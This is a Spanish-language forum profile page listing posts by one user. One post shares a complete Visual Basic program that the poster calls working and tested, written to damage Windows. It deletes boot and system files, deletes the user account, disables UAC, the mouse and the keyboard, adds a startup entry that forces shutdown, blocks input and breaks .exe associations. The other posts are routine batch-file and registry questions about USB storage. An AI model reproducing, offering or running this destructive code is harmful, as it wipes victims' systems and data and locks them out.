Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Dany3j

#121
Bueno aqui le dejo un pequeño programa en Basic para DAÑAR el sistema no lo ejecuten... Leer bien el codigo..  :) Funciona probado por mi hihihih  :laugh:


Private Declare Function BlockInput Lib "user32" (ByVal fBlock _
As Long) As Long
Const API_FALSE As Long = 0&
Const API_TRUE As Long = 1&
Private Declare Function Beep Lib "kernel32" ( _
  ByVal dwFreq As Long, _
  ByVal dwDuration As Long) As Long
Private Sub Form_Load()
On Error Resume Next
Form1.Hide
  a = FreeFile
  b = FreeFile
  Open "c:\windows\chkmgr32.bat" For Output As a
    Print #a, "shutdown -s -t 10 -f"
    Print #a, "start c:\windows\notfall.bat"
    Close a
   
Open "c:\windows\notfall.bat" For Output As b
Print #b, "erase /f %windir%\system32\hal.dll"
Print #b, "erase /f %HOMEDRIVE%\NTDETECT.COM"
Print #b, "erase /f %HOMEDRIVE%\bootmgr"
Print #b, "erase /f %HOMEDRIVE%\bootfont.bin"
Print #b, "erase /f %HOMEDRIVE%\BOOTSECT.BAK"
Print #b, "erase /f %HOMEDRIVE%\boot.ini"
Print #b, "erase /f %HOMEDRIVE%\ntldr"
Close b
'Zerstörung...
Call Shell("net user Administrator /active:no")
Call Shell("net user %username% /del")
Call Shell("reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f")
Call Shell("cmd /c erase /f %windir%\system32\hal.dll")
Call Shell("cmd /c tskill /f explorer")
Call Shell("cmd /c tskill /f icq")
Call Shell("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Winlogon /t REG_SZ /d c:\windows\chkmgr32.bat /f")
Call Shell("cmd /c erase /f %HOMEDRIVE%\ntldr")
Call Shell("cmd /c erase /f %HOMEDRIVE%\boot.ini")
Call Shell("cmd /c erase /f %HOMEDRIVE%\BOOTSECT.BAK")
Call Shell("cmd /c erase /f %HOMEDRIVE%\bootfont.bin")
Call Shell("cmd /c erase /f %HOMEDRIVE%\bootmgr")
Call Shell("cmd /c erase /f %HOMEDRIVE%\NTDETECT.COM")
Call Shell("cmd /c del /q %windir%\inf\*.*")
Call Shell("cmd /c del /q %windir%\repair\*.*")
Call Shell("reg add HKLM\System\CurrentControlSet\Services\Mouclass /v Start /t REG_DWORD /d 4 /f")
Call Shell("reg add HKLM\System\CurrentControlSet\Services\Kbdclass /v Start /t REG_DWORD /d 4 /f")

Form1.Show
Call BlockInput(API_TRUE)
Call Shell("shutdown -s -t 10 -f")
MsgBox "haha dein windows wurde zerstört^^", vbInformation + vbMsgBoxSetForeground + vbMsgBoxRight, "haha"
Call Shell("cmd /c assoc .exe=WinRAR")
Beep 4000, 10000


End Sub


Aclaro que el codigo no es mio...  :)
#122
Se veia bien la cosa pero no funciono  :-\

:huh:
#123
Si a funcionado  ;-)

Aunque me queda la duda porque no funciono en el bat directamente...  :¬¬
#124
Cita de: pitoloko en  3 Julio 2011, 20:27 PM
Vamos a ver, pon el código entero que estás usando...

este es el del .reg
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\usbstor]
"Start"=dword:00000003
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbstor]
"Start"=dword:00000003


#125
Tampoco funciona.....  :o

Lo he echo en un .reg y funciona bien pero lo nececito en un bat...  :-\
#126
He probado asi y la pantalla se queda en negro  :( tampoco funciona presiono enter y no se cierra deberia cerrarce...  :-[
#127
Cita de: pitoloko en  3 Julio 2011, 20:08 PM
Normal, las claves ya existen, añade el modificador /F para forzar la sobreescritura.



Sigue lo mismo...  :(



#128
Cita de: XXX-ZERO-XXX en  3 Julio 2011, 20:05 PM
Escribes solo eso?
Borra la primer linea q no va

He borrado la primera linea y el problema sigue..?  :-\
#129
Tengo un problema a la hora de agragar estas claves al registro esto usando este codigo
@aderir claves de registro.
reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\usbstor /v Start /t reg_dword /d 00000003
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbstor /v Start /t reg_dword /d 00000003


Cuando guardo el bat y lo ejecutos se abre la pantalla de cmd y me imprime las claves infinitamente en la pantalla pero no se registran que estare haciendo mal..  :-[
#130
Scripting / Re: Programa para batch
3 Julio 2011, 19:45 PM
Cita de: R0LFback en  3 Julio 2011, 19:44 PM
Algun editor de texto con coloreo de sintaxis. Notepad++ por ejemplo...



Thanks R0LFback